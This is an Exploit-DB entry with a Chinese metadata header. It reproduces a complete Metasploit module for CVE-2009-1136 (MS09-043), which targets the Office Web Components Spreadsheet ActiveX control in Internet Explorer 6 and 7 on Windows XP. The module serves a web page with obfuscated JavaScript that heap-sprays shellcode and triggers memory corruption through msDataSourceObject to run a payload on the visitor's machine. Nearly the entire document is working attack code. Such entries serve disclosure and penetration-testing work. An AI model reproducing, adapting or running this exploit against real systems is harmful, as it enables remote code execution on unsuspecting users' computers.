标题: Microsoft Office Web Components (OWC) Spreadsheet - msDataSourceObject Memory Corruption (MS09-043) (Metasploit) EDB-ID: 16537 CVE: 2009-1136 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-20 漏洞利用脚本: ##
# $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
   'Description'    => %q{
    This module exploits a memory corruption vulnerability within versions 10 and 11 of
    the Office Web Component Spreadsheet ActiveX control. This module was based on
    an exploit found in the wild.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
   'Version'        => '$Revision: 9893 $',
   'References'     =>
    [
     [ 'CVE', '2009-1136' ],
     [ 'OSVDB', '55806' ],
     [ 'MSB', 'MS09-043' ],
     [ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/9163/' ],
     # broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'           => 1024,
     'BadChars'        => '',
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
    ],
   'DisclosureDate' => 'Jul 13 2009',
   'DefaultTarget'  => 0))

   @javascript_encode_key = rand_text_alpha(rand(10) + 10)
 end

 def on_request_uri(cli, request)

  # Send a redirect with the javascript encoding key
  #if (!request.uri.match(/\?\w+/))
  # send_local_redirect(cli, "?#{@javascript_encode_key}")
  # return
  #end

  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")


  shellcode = Rex::Text.to_unescape(p.encoded)
  retaddr   = Rex::Text.to_unescape([target.ret].pack('V'))

  js = %Q|
var xshellcode = unescape("#{shellcode}");

var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");

while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;

for(xi=0; xi<0x99*2; xi++) {
 xarray[xi] = xlh + xlh + xshellcode;
}

CollectGarbage();

var xobj;
try {
 xobj = new ActiveXObject("OWC10.Spreadsheet");
} catch(err) {
 try {
  xobj = new ActiveXObject("OWC11.Spreadsheet");
 } catch(err) {
 }
}

xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);

for(xi=0; xi < xe.length; xi++){
 for(xj=0; xj<10; xj++){
  try { xobj.Evaluate(xe[xi]); } catch(e) { }
 }
}

window.status = xe[3] + '';

for(xj=0; xj<10; xj++){
 try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|

  # Obfuscate it up a bit
  js = obfuscate_js(js,
   'Symbols' =>  {
    'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
   }
  ).to_s


  # Encode the javascript payload with the URI key
  # js = encrypt_js(js, @javascript_encode_key)

  # Fire off the page to the client
  send_response(cli, "<html><script language='javascript'>#{js}</script></html>")

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16537